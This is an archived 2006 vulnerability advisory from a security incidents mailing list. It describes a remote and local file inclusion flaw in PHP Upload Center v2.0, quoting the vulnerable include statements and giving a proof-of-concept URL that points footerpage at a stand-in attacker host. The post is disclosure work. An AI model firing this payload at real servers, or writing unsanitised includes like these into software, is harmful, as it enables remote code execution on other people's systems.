Re: http://thebesthack.altervista.org/input.txt

[email protected] 14 Dec 2006 00:45:58 -0000
Newsgroups gmane.comp.security.incidents
Message-ID <[email protected]>
*************************************************************************=
************************************************
  =20
* Name =3D PHP Upload Center v2.0 ; =20
  =20
* Class =3D Remote/Local File Inclusion ;=20
=20
* Download =3D http://skrypty.webpc.pl/pobierz.php?id=3D58 ;         =20
  =20
* Found by =3D GregStar (gregstar[at]c4f[dot]pl) (http://c4f.pl) ;       =
   =20
    =20
-------------------------------------------------------------------------=
------------------------------------------------
  =20
Vulnerable Code in activate.php=20
=20
line 66-70=20
=20
...=20
=20
 if (!isset($language))=20
  $language=3D$dft_language;=20
if ($language=3D=3D"")=20
  $language=3D$dft_language;=20
require("include/${language}.php"); <=3D=3D Local incl.=20
=20
...=20


line 164

...

include($footerpage);  <=3D=3D Remote incl.

...


Code in include/en.php (and other language files)

line 5-7

...

$headerpage=3D"include/header.htm";
$footerpage=3D"include/footer.htm"; <=3D=3D
$infopage=3D"include/info.htm";

...

  =20
- Ex. :

  =20
 http://[target]/[path]/activate.php?language=3Dconf&footerpage=3Dhttp://=
evil?=20
=20
=20
=20
=20
*************************************************************************=
************************************************
Gr33tz:  sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,SlashBeast,chochlik,rf=
l,d3m0n,java,reyw,kw@ch.  =20
          =20
*************************************************************************=
************************************************

-------------------------------------------------------------------------=
-----
This List Sponsored by: Black Hat

Attend the Black Hat Briefings & Training USA, July 29-August 3 in Las Ve=
gas.=20
World renowned security experts reveal tomorrow's threats today. Free of=20
vendor pitches, the Briefings are designed to be pragmatic regardless of =
your=20
security environment. Featuring 36 hands-on training courses and 10 confe=
rence=20
tracks, networking opportunities with over 2,500 delegates from 40+ natio=
ns.=20

http://www.blackhat.com
-------------------------------------------------------------------------=
-----